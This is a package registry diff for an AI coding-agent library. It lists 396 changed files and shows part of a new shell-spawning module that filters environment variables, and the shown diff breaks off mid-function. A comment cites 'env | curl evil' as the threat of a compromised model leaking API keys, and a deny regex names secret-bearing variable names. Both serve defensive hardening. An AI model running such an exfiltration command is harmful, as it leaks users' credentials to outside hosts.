@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (396) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +3 -0
  3. package/dist/agent/agent-definition-registry.js +3 -1
  4. package/dist/agent/agent-definition.d.ts +15 -0
  5. package/dist/agent/agent-definition.js +27 -3
  6. package/dist/arena/context/context-tools.js +47 -4
  7. package/dist/arena/ledger.js +9 -1
  8. package/dist/arena/strategies/utils.d.ts +1 -4
  9. package/dist/arena/strategies/utils.js +7 -84
  10. package/dist/automation/cron-expr.d.ts +10 -0
  11. package/dist/automation/cron-expr.js +23 -5
  12. package/dist/automation/runner.d.ts +21 -4
  13. package/dist/automation/runner.js +48 -12
  14. package/dist/automation/scheduler.d.ts +38 -0
  15. package/dist/automation/scheduler.js +89 -12
  16. package/dist/automation/store.js +5 -2
  17. package/dist/capability-control/disabled-lists.d.ts +25 -0
  18. package/dist/capability-control/disabled-lists.js +57 -0
  19. package/dist/capability-control/overlay.d.ts +15 -0
  20. package/dist/capability-control/overlay.js +27 -0
  21. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  22. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  23. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  24. package/dist/cc-orchestrator/cc-capability.js +53 -0
  25. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  26. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  27. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  28. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  29. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  30. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  31. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  32. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  33. package/dist/cc-orchestrator/index.d.ts +8 -0
  34. package/dist/cc-orchestrator/index.js +8 -0
  35. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  36. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  37. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  38. package/dist/cc-orchestrator/session-discovery.js +125 -0
  39. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  40. package/dist/cc-orchestrator/session-history.js +67 -0
  41. package/dist/cli/agent-server-stdio.d.ts +15 -1
  42. package/dist/cli/agent-server-stdio.js +115 -17
  43. package/dist/cli/agent-server-tcp.js +40 -26
  44. package/dist/context/compaction.d.ts +86 -0
  45. package/dist/context/compaction.js +279 -0
  46. package/dist/context/manager.d.ts +18 -0
  47. package/dist/context/manager.js +181 -48
  48. package/dist/context/token-counter.js +13 -0
  49. package/dist/cost-tracker.js +5 -61
  50. package/dist/credentials/cipher.d.ts +49 -0
  51. package/dist/credentials/cipher.js +45 -0
  52. package/dist/credentials/cookie-jar.d.ts +24 -0
  53. package/dist/credentials/cookie-jar.js +40 -0
  54. package/dist/credentials/index.d.ts +7 -0
  55. package/dist/credentials/index.js +5 -0
  56. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  57. package/dist/credentials/inject-credential-tool.js +130 -0
  58. package/dist/credentials/store.d.ts +72 -0
  59. package/dist/credentials/store.js +184 -0
  60. package/dist/credentials/types.d.ts +56 -0
  61. package/dist/credentials/use-credential-tool.d.ts +29 -0
  62. package/dist/credentials/use-credential-tool.js +205 -0
  63. package/dist/credentials/use-gate.d.ts +56 -0
  64. package/dist/credentials/use-gate.js +52 -0
  65. package/dist/data/model-metadata.d.ts +77 -0
  66. package/dist/data/model-metadata.js +56 -0
  67. package/dist/data/model-metadata.json +216 -0
  68. package/dist/data/openrouter-models.d.ts +18 -7
  69. package/dist/data/openrouter-models.js +35 -8
  70. package/dist/engine/aux-key.d.ts +10 -0
  71. package/dist/engine/aux-key.js +11 -0
  72. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  73. package/dist/engine/dynamic-tool-defs.js +36 -0
  74. package/dist/engine/engine.d.ts +280 -141
  75. package/dist/engine/engine.js +1193 -245
  76. package/dist/engine/friendly-error.d.ts +18 -0
  77. package/dist/engine/friendly-error.js +63 -0
  78. package/dist/engine/goal.d.ts +145 -0
  79. package/dist/engine/goal.js +144 -0
  80. package/dist/engine/image-policy.d.ts +13 -0
  81. package/dist/engine/image-policy.js +24 -0
  82. package/dist/engine/model-connections-pool.d.ts +17 -0
  83. package/dist/engine/model-connections-pool.js +67 -0
  84. package/dist/engine/model-facade.d.ts +10 -0
  85. package/dist/engine/model-facade.js +15 -0
  86. package/dist/engine/patch-orphaned-tools.js +3 -0
  87. package/dist/engine/query.js +2 -0
  88. package/dist/engine/resolve-llm-config.d.ts +16 -0
  89. package/dist/engine/resolve-llm-config.js +44 -0
  90. package/dist/engine/runtime.d.ts +2 -0
  91. package/dist/engine/runtime.js +27 -1
  92. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  93. package/dist/engine/sandbox-cache-key.js +9 -0
  94. package/dist/engine/sandbox-config.d.ts +31 -0
  95. package/dist/engine/sandbox-config.js +38 -0
  96. package/dist/engine/session-usage.d.ts +31 -0
  97. package/dist/engine/session-usage.js +81 -0
  98. package/dist/engine/steer-queue.d.ts +33 -0
  99. package/dist/engine/steer-queue.js +26 -0
  100. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  101. package/dist/engine/streaming-tool-queue.js +50 -10
  102. package/dist/engine/turn-loop.d.ts +94 -4
  103. package/dist/engine/turn-loop.js +432 -54
  104. package/dist/engine/types.d.ts +175 -0
  105. package/dist/engine/types.js +13 -0
  106. package/dist/external-agents/config.d.ts +2 -0
  107. package/dist/external-agents/config.js +15 -0
  108. package/dist/external-agents/types.d.ts +31 -0
  109. package/dist/external-agents/types.js +1 -0
  110. package/dist/git/utils.d.ts +12 -0
  111. package/dist/git/utils.js +38 -6
  112. package/dist/git/worktree.d.ts +48 -0
  113. package/dist/git/worktree.js +86 -10
  114. package/dist/hooks/goal-stop-hook.d.ts +28 -0
  115. package/dist/hooks/goal-stop-hook.js +186 -9
  116. package/dist/hooks/registry.d.ts +8 -0
  117. package/dist/hooks/registry.js +19 -0
  118. package/dist/hooks/shell-runner.js +10 -21
  119. package/dist/index.d.ts +51 -7
  120. package/dist/index.js +62 -5
  121. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  122. package/dist/llm/capabilities/param-specs.js +62 -0
  123. package/dist/llm/capabilities/rules.js +5 -1
  124. package/dist/llm/capabilities/types.d.ts +10 -0
  125. package/dist/llm/client-base.d.ts +28 -1
  126. package/dist/llm/client-base.js +119 -13
  127. package/dist/llm/model-cache.js +4 -2
  128. package/dist/llm/model-pool.d.ts +21 -0
  129. package/dist/llm/model-pool.js +21 -1
  130. package/dist/llm/provider-auth.d.ts +41 -0
  131. package/dist/llm/provider-auth.js +76 -0
  132. package/dist/llm/provider-catalog.d.ts +4 -0
  133. package/dist/llm/providers/anthropic.js +64 -14
  134. package/dist/llm/providers/openai.d.ts +36 -0
  135. package/dist/llm/providers/openai.js +257 -51
  136. package/dist/llm/reasoning-setting.d.ts +3 -3
  137. package/dist/llm/reasoning-setting.js +9 -1
  138. package/dist/llm/stream-watchdog.js +5 -1
  139. package/dist/llm/token-counter.js +9 -2
  140. package/dist/llm/types.d.ts +4 -0
  141. package/dist/logging/sanitize-messages.js +22 -0
  142. package/dist/lsp/manager.d.ts +1 -1
  143. package/dist/lsp/manager.js +40 -10
  144. package/dist/model-catalog/builtin.d.ts +12 -0
  145. package/dist/model-catalog/builtin.js +412 -0
  146. package/dist/model-catalog/gen-connections.d.ts +20 -0
  147. package/dist/model-catalog/gen-connections.js +28 -0
  148. package/dist/model-catalog/index.d.ts +41 -0
  149. package/dist/model-catalog/index.js +90 -0
  150. package/dist/model-catalog/params.d.ts +20 -0
  151. package/dist/model-catalog/params.js +45 -0
  152. package/dist/model-catalog/resolve.d.ts +48 -0
  153. package/dist/model-catalog/resolve.js +33 -0
  154. package/dist/model-catalog/save-entry.d.ts +32 -0
  155. package/dist/model-catalog/save-entry.js +104 -0
  156. package/dist/model-catalog/types.d.ts +561 -0
  157. package/dist/model-catalog/types.js +93 -0
  158. package/dist/model-catalog/upsert.d.ts +9 -0
  159. package/dist/model-catalog/upsert.js +8 -0
  160. package/dist/onboarding.d.ts +12 -82
  161. package/dist/onboarding.js +61 -326
  162. package/dist/plugins/gitOps.d.ts +19 -0
  163. package/dist/plugins/gitOps.js +73 -4
  164. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  165. package/dist/plugins/installer/checkUpdate.js +32 -0
  166. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  167. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  168. package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
  169. package/dist/plugins/installer/codex/convertMcp.js +45 -5
  170. package/dist/plugins/installer/install.js +25 -1
  171. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  172. package/dist/plugins/installer/installFromArchive.js +134 -0
  173. package/dist/plugins/installer/installFromSource.js +8 -2
  174. package/dist/plugins/installer/loadPluginAgents.js +6 -2
  175. package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
  176. package/dist/plugins/installer/loadPluginMcp.js +35 -2
  177. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  178. package/dist/plugins/installer/pruneDisabled.js +73 -0
  179. package/dist/plugins/installer/types.d.ts +5 -2
  180. package/dist/plugins/installer/types.js +1 -0
  181. package/dist/plugins/installer/uninstall.js +4 -0
  182. package/dist/plugins/installer/unzip.d.ts +14 -0
  183. package/dist/plugins/installer/unzip.js +82 -0
  184. package/dist/plugins/installer/update.d.ts +14 -0
  185. package/dist/plugins/installer/update.js +53 -21
  186. package/dist/plugins/loadPluginHooks.d.ts +47 -1
  187. package/dist/plugins/loadPluginHooks.js +73 -1
  188. package/dist/plugins/marketplaceManager.d.ts +7 -0
  189. package/dist/plugins/marketplaceManager.js +20 -0
  190. package/dist/plugins/pluginCommandHook.js +4 -18
  191. package/dist/plugins/pluginContent.d.ts +30 -0
  192. package/dist/plugins/pluginContent.js +83 -0
  193. package/dist/plugins/pluginInstaller.d.ts +13 -0
  194. package/dist/plugins/pluginInstaller.js +42 -8
  195. package/dist/plugins/schemas.js +1 -0
  196. package/dist/plugins/types.d.ts +6 -0
  197. package/dist/preset/index.d.ts +11 -1
  198. package/dist/preset/index.js +115 -6
  199. package/dist/product/types.d.ts +1 -1
  200. package/dist/prompt/composer.d.ts +32 -0
  201. package/dist/prompt/composer.js +75 -21
  202. package/dist/prompt/instruction-scanner.js +5 -3
  203. package/dist/prompt/section-loader.js +1 -0
  204. package/dist/prompt/sections/base.md +2 -0
  205. package/dist/prompt/sections/browser.md +10 -0
  206. package/dist/prompt/sections/coding.md +4 -0
  207. package/dist/protocol/chat-session-manager.d.ts +9 -2
  208. package/dist/protocol/chat-session-manager.js +38 -0
  209. package/dist/protocol/chat-session.d.ts +69 -1
  210. package/dist/protocol/chat-session.js +102 -4
  211. package/dist/protocol/client.d.ts +31 -0
  212. package/dist/protocol/client.js +44 -0
  213. package/dist/protocol/server.d.ts +120 -7
  214. package/dist/protocol/server.js +753 -51
  215. package/dist/protocol/transport.js +3 -2
  216. package/dist/protocol/types.d.ts +60 -0
  217. package/dist/protocol/types.js +16 -0
  218. package/dist/quota/credentials.d.ts +3 -0
  219. package/dist/quota/credentials.js +80 -0
  220. package/dist/quota/index.d.ts +36 -0
  221. package/dist/quota/index.js +155 -0
  222. package/dist/quota/types.d.ts +48 -0
  223. package/dist/quota/types.js +13 -0
  224. package/dist/review/review-prompt.d.ts +28 -0
  225. package/dist/review/review-prompt.js +81 -0
  226. package/dist/run/FileRunStore.js +8 -3
  227. package/dist/run/RunApprovalBackend.js +25 -5
  228. package/dist/run/RunManager.d.ts +12 -0
  229. package/dist/run/RunManager.js +35 -0
  230. package/dist/run/factory.d.ts +1 -1
  231. package/dist/runtime/background-shell.d.ts +139 -0
  232. package/dist/runtime/background-shell.js +509 -0
  233. package/dist/runtime/output-clean.d.ts +24 -0
  234. package/dist/runtime/output-clean.js +41 -0
  235. package/dist/runtime/ring-file.d.ts +64 -0
  236. package/dist/runtime/ring-file.js +174 -0
  237. package/dist/runtime/safe-spawn.js +98 -39
  238. package/dist/runtime/spawn-common.d.ts +159 -0
  239. package/dist/runtime/spawn-common.js +404 -0
  240. package/dist/runtime/truncate-output.d.ts +22 -0
  241. package/dist/runtime/truncate-output.js +49 -0
  242. package/dist/runtime/utf8-cut.d.ts +11 -0
  243. package/dist/runtime/utf8-cut.js +23 -0
  244. package/dist/services/auto-dream.d.ts +4 -0
  245. package/dist/services/auto-dream.js +26 -26
  246. package/dist/services/diagnostics.d.ts +1 -2
  247. package/dist/services/diagnostics.js +12 -7
  248. package/dist/services/extract-memories.d.ts +14 -1
  249. package/dist/services/extract-memories.js +45 -6
  250. package/dist/services/memory-orchestrator.d.ts +21 -0
  251. package/dist/services/memory-orchestrator.js +125 -50
  252. package/dist/services/session-memory.js +24 -12
  253. package/dist/session/file-history.d.ts +124 -1
  254. package/dist/session/file-history.js +222 -6
  255. package/dist/session/memory.d.ts +116 -2
  256. package/dist/session/memory.js +250 -28
  257. package/dist/session/session-manager.d.ts +40 -0
  258. package/dist/session/session-manager.js +119 -3
  259. package/dist/session/simple-diff.d.ts +23 -0
  260. package/dist/session/simple-diff.js +84 -0
  261. package/dist/session/transcript.d.ts +29 -1
  262. package/dist/session/transcript.js +56 -2
  263. package/dist/session/undo-target.d.ts +67 -0
  264. package/dist/session/undo-target.js +144 -0
  265. package/dist/settings/disk-defaults.d.ts +9 -2
  266. package/dist/settings/disk-defaults.js +11 -2
  267. package/dist/settings/feature-flags.d.ts +64 -0
  268. package/dist/settings/feature-flags.js +61 -0
  269. package/dist/settings/manager.d.ts +68 -1
  270. package/dist/settings/manager.js +266 -29
  271. package/dist/settings/migrate-config.d.ts +45 -0
  272. package/dist/settings/migrate-config.js +125 -0
  273. package/dist/settings/schema-export.d.ts +25 -0
  274. package/dist/settings/schema-export.js +38 -0
  275. package/dist/settings/schema.d.ts +1186 -771
  276. package/dist/settings/schema.js +268 -97
  277. package/dist/skills/scanner.d.ts +9 -0
  278. package/dist/skills/scanner.js +30 -2
  279. package/dist/stt/resolve-transcribe.d.ts +31 -0
  280. package/dist/stt/resolve-transcribe.js +108 -0
  281. package/dist/stt/transcribe.d.ts +51 -0
  282. package/dist/stt/transcribe.js +65 -0
  283. package/dist/tool-system/browser-bridge.d.ts +226 -0
  284. package/dist/tool-system/browser-bridge.js +163 -0
  285. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  286. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  287. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  288. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  289. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  290. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  291. package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
  292. package/dist/tool-system/builtin/agent-registry.js +8 -0
  293. package/dist/tool-system/builtin/agent.d.ts +21 -1
  294. package/dist/tool-system/builtin/agent.js +489 -42
  295. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  296. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  297. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  298. package/dist/tool-system/builtin/apply-patch/index.js +0 -15
  299. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  300. package/dist/tool-system/builtin/background-jobs.js +124 -0
  301. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  302. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  303. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  304. package/dist/tool-system/builtin/background-work.js +86 -0
  305. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  306. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  307. package/dist/tool-system/builtin/bash.d.ts +5 -2
  308. package/dist/tool-system/builtin/bash.js +101 -64
  309. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  310. package/dist/tool-system/builtin/browser-tools.js +312 -0
  311. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  312. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  313. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  314. package/dist/tool-system/builtin/check-quota.js +34 -0
  315. package/dist/tool-system/builtin/config.js +7 -0
  316. package/dist/tool-system/builtin/cron.d.ts +7 -0
  317. package/dist/tool-system/builtin/cron.js +64 -4
  318. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  319. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  320. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  321. package/dist/tool-system/builtin/edit-model-catalog.js +104 -0
  322. package/dist/tool-system/builtin/edit.js +20 -16
  323. package/dist/tool-system/builtin/eol.d.ts +29 -0
  324. package/dist/tool-system/builtin/eol.js +37 -0
  325. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  326. package/dist/tool-system/builtin/file-cache.js +8 -0
  327. package/dist/tool-system/builtin/generate-image.d.ts +35 -0
  328. package/dist/tool-system/builtin/generate-image.js +278 -50
  329. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  330. package/dist/tool-system/builtin/generate-video.js +364 -0
  331. package/dist/tool-system/builtin/glob.js +0 -7
  332. package/dist/tool-system/builtin/grep.d.ts +9 -0
  333. package/dist/tool-system/builtin/grep.js +106 -11
  334. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  335. package/dist/tool-system/builtin/image-providers.js +190 -0
  336. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  337. package/dist/tool-system/builtin/image-uploader.js +74 -0
  338. package/dist/tool-system/builtin/index.d.ts +10 -2
  339. package/dist/tool-system/builtin/index.js +251 -27
  340. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  341. package/dist/tool-system/builtin/memory.js +45 -7
  342. package/dist/tool-system/builtin/notebook-edit.js +0 -7
  343. package/dist/tool-system/builtin/powershell.js +8 -2
  344. package/dist/tool-system/builtin/read.js +10 -10
  345. package/dist/tool-system/builtin/repl.js +4 -1
  346. package/dist/tool-system/builtin/skill.js +9 -0
  347. package/dist/tool-system/builtin/sleep.js +8 -2
  348. package/dist/tool-system/builtin/tool-search.js +25 -7
  349. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  350. package/dist/tool-system/builtin/video-providers.js +235 -0
  351. package/dist/tool-system/builtin/web-fetch.js +12 -2
  352. package/dist/tool-system/builtin/web-search.js +21 -7
  353. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  354. package/dist/tool-system/builtin/worktree.js +31 -4
  355. package/dist/tool-system/builtin/write.js +0 -6
  356. package/dist/tool-system/context.d.ts +164 -6
  357. package/dist/tool-system/executor.d.ts +3 -1
  358. package/dist/tool-system/executor.js +197 -90
  359. package/dist/tool-system/investigation-guard.js +1 -1
  360. package/dist/tool-system/mcp-manager.d.ts +42 -4
  361. package/dist/tool-system/mcp-manager.js +203 -20
  362. package/dist/tool-system/mcp-stdio-diagnostics.d.ts +9 -0
  363. package/dist/tool-system/mcp-stdio-diagnostics.js +93 -0
  364. package/dist/tool-system/path-policy.d.ts +5 -0
  365. package/dist/tool-system/path-policy.js +307 -8
  366. package/dist/tool-system/permission.d.ts +39 -2
  367. package/dist/tool-system/permission.js +283 -70
  368. package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
  369. package/dist/tool-system/plan-mode-allowlist.js +24 -2
  370. package/dist/tool-system/registry.d.ts +1 -0
  371. package/dist/tool-system/registry.js +16 -2
  372. package/dist/tool-system/sandbox/index.d.ts +8 -0
  373. package/dist/tool-system/sandbox/index.js +7 -2
  374. package/dist/tool-system/sandbox/off.js +7 -1
  375. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  376. package/dist/tool-system/validate-tool-metadata.js +63 -0
  377. package/dist/types.d.ts +252 -7
  378. package/dist/updater.js +20 -9
  379. package/dist/utils/envUtils.d.ts +0 -9
  380. package/dist/utils/envUtils.js +3 -28
  381. package/dist/utils/exec.d.ts +48 -0
  382. package/dist/utils/exec.js +154 -0
  383. package/dist/utils/json.d.ts +12 -0
  384. package/dist/utils/json.js +92 -0
  385. package/dist/utils/theme.d.ts +1 -1
  386. package/dist/utils/theme.js +1 -1
  387. package/dist/utils/toolDisplay.js +0 -1
  388. package/package.json +13 -7
  389. package/dist/agent/coordinator.d.ts +0 -49
  390. package/dist/agent/coordinator.js +0 -77
  391. package/dist/settings/manager.test.js +0 -73
  392. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  393. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  394. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  395. package/dist/tool-system/builtin/send-message.js +0 -47
  396. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -0,0 +1,404 @@
1
+ /**
2
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
3
+ * and background (BackgroundShellManager) shell execution.
4
+ *
5
+ * Both paths must agree on three things or their security/behavior drifts:
6
+ *
7
+ * 1. How a free-form shell command is turned into an actual (file, args)
8
+ * under the active sandbox backend ({@link resolveSpawnTarget}).
9
+ * 2. Which environment variables are forwarded into a sandboxed shell
10
+ * ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
11
+ * model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
12
+ * `env | curl evil`).
13
+ * 3. How a process is terminated — SIGTERM → grace → SIGKILL. The
14
+ * background path needs this at *process-group* granularity
15
+ * ({@link killProcessGroup}) because `npm run dev` is really
16
+ * `sh → npm → node vite` and killing only the outer `sh` leaks the
17
+ * vite child that holds the port (design §难点2).
18
+ *
19
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
20
+ * spawn detached, so there's no separate process group to reap); it shares
21
+ * (1) and (2) here. The background manager uses all three.
22
+ */
23
+ import { spawn, execFileSync } from "node:child_process";
24
+ import { existsSync } from "node:fs";
25
+ import { dirname, join } from "node:path";
26
+ /**
27
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
28
+ * the allowlist that previously lived in bash.ts — kept here so foreground
29
+ * and background shells share one source of truth. The `off` backend keeps
30
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
31
+ * and does NOT call this.
32
+ */
33
+ export const ENV_ALLOWLIST = new Set([
34
+ "PATH",
35
+ "HOME",
36
+ "USER",
37
+ "LOGNAME",
38
+ "SHELL",
39
+ "LANG",
40
+ "LC_ALL",
41
+ "LC_CTYPE",
42
+ "TERM",
43
+ "TMPDIR",
44
+ "TZ",
45
+ "COLUMNS",
46
+ "LINES",
47
+ "PWD",
48
+ ]);
49
+ /**
50
+ * Names matching these patterns are dropped even if they appear in the
51
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
52
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
53
+ */
54
+ export const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
55
+ /**
56
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
57
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
58
+ * a fixed object.
59
+ */
60
+ export function buildSandboxEnv(source = process.env) {
61
+ const out = {};
62
+ for (const name of ENV_ALLOWLIST) {
63
+ const v = source[name];
64
+ if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
65
+ out[name] = v;
66
+ }
67
+ }
68
+ return out;
69
+ }
70
+ /**
71
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
72
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
73
+ * shell env.
74
+ *
75
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
76
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
77
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
78
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
79
+ * the *host's* secrets via `env | curl`; values the user typed into project
80
+ * settings are a different trust class.
81
+ *
82
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
83
+ * caller can pass it through unconditionally with zero behavior change for
84
+ * projects that don't configure one. `undefined` values in `projectEnv` are
85
+ * skipped (they'd otherwise stringify to "undefined").
86
+ */
87
+ export function mergeShellEnv(base, projectEnv) {
88
+ if (!projectEnv)
89
+ return base;
90
+ const keys = Object.keys(projectEnv);
91
+ if (keys.length === 0)
92
+ return base;
93
+ const out = { ...base };
94
+ for (const k of keys) {
95
+ const v = projectEnv[k];
96
+ if (v !== undefined)
97
+ out[k] = v;
98
+ }
99
+ return out;
100
+ }
101
+ /**
102
+ * Resolve the shell binary + the (file, args) needed to run a free-form
103
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
104
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
105
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
106
+ *
107
+ * - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
108
+ * - Windows: `<explicit shell ?? Git Bash ?? PowerShell ?? ComSpec ?? cmd.exe>` with the
109
+ * shell-appropriate flag: Git Bash/POSIX shells use `-c`, PowerShell uses
110
+ * `-Command`, and cmd.exe uses `/c` (`-c` would be taken as a filename and
111
+ * fail/hang). Git Bash is preferred because the Bash tool receives POSIX
112
+ * syntax from the model.
113
+ *
114
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
115
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
116
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
117
+ * who configured `pwsh`/`bash` knows what they want).
118
+ */
119
+ export function resolveShellInvocation(command, shell) {
120
+ if (process.platform === "win32") {
121
+ const file = shell ?? defaultShellBinary();
122
+ // Flag form depends on the shell: PowerShell → -Command; a POSIX shell such
123
+ // as Git Bash's bash.exe / sh → -c (it does NOT understand cmd's /c); cmd.exe
124
+ // (and cmd-like) → /c. Detecting bash/sh matters now that defaultShellBinary
125
+ // prefers Git Bash on Windows — feeding it /c would break every command.
126
+ const isPwsh = /(^|[\\/])(pwsh|powershell)(\.exe)?$/i.test(file);
127
+ if (isPwsh)
128
+ return { file, args: ["-Command", command] };
129
+ const isPosixShell = /(^|[\\/])(bash|sh|zsh|dash)(\.exe)?$/i.test(file);
130
+ return { file, args: [isPosixShell ? "-c" : "/c", command] };
131
+ }
132
+ const file = shell ?? process.env.SHELL ?? "/bin/bash";
133
+ return { file, args: ["-c", command] };
134
+ }
135
+ /**
136
+ * Best-effort locate Git Bash's `bash.exe` on Windows. Returns undefined on
137
+ * non-Windows, when git isn't installed, or when no bash.exe is found.
138
+ *
139
+ * WHY: The Bash tool and background shells feed the model's *bash* commands
140
+ * (`ls`, `&&`, `$(…)`, pipes, quoting) to the shell. On Windows the historical
141
+ * default is `cmd.exe`, which can't run any of that — so "Bash" was effectively
142
+ * broken on Windows. Git for Windows (which most devs already have — we detect
143
+ * it for repo ops anyway) ships a full bash at `<git>\bin\bash.exe`, so prefer
144
+ * it. Falls back to PowerShell before cmd.exe when Git Bash truly isn't present.
145
+ *
146
+ * Resolution order:
147
+ * 1. CODE_SHELL_GIT_BASH_PATH env override (explicit user config wins).
148
+ * 2. Reverse-engineer from the git binary's location: `where git` gives e.g.
149
+ * `C:\Program Files\Git\cmd\git.exe` → `…\Git\bin\bash.exe`.
150
+ * 3. The two default install locations (Program Files / Program Files (x86)).
151
+ * Cached after first probe (a spawn per command would be wasteful).
152
+ */
153
+ let gitBashCache;
154
+ export function resolveGitBash() {
155
+ if (process.platform !== "win32")
156
+ return undefined;
157
+ if (gitBashCache !== undefined)
158
+ return gitBashCache ?? undefined;
159
+ const override = process.env.CODE_SHELL_GIT_BASH_PATH;
160
+ if (override && existsSync(override))
161
+ return (gitBashCache = override);
162
+ const candidates = [];
163
+ // (2) derive from `where git`. Git installs git.exe under either \cmd\ or
164
+ // \bin\; bash.exe lives under the sibling \bin\. Walk up to the Git root.
165
+ try {
166
+ const out = execFileSync("where", ["git"], { encoding: "utf-8", timeout: 3000 });
167
+ const gitExe = out.split(/\r?\n/).find((l) => l.trim().toLowerCase().endsWith("git.exe"));
168
+ if (gitExe) {
169
+ const gitRoot = dirname(dirname(gitExe.trim())); // …\Git\cmd\git.exe → …\Git
170
+ candidates.push(join(gitRoot, "bin", "bash.exe"));
171
+ }
172
+ }
173
+ catch {
174
+ // git not on PATH — fall through to the well-known locations.
175
+ }
176
+ // (3) default install locations.
177
+ const pf = process.env["ProgramFiles"] ?? "C:\\Program Files";
178
+ const pf86 = process.env["ProgramFiles(x86)"] ?? "C:\\Program Files (x86)";
179
+ candidates.push(join(pf, "Git", "bin", "bash.exe"));
180
+ candidates.push(join(pf86, "Git", "bin", "bash.exe"));
181
+ const found = candidates.find((p) => existsSync(p));
182
+ return (gitBashCache = found ?? null) ?? undefined;
183
+ }
184
+ /** Reset the Git Bash probe cache. Test-only (platform is stubbed per test). */
185
+ export function _resetGitBashCache() {
186
+ gitBashCache = undefined;
187
+ }
188
+ let powerShellCache;
189
+ export function resolvePowerShell() {
190
+ if (process.platform !== "win32")
191
+ return undefined;
192
+ if (powerShellCache !== undefined)
193
+ return powerShellCache ?? undefined;
194
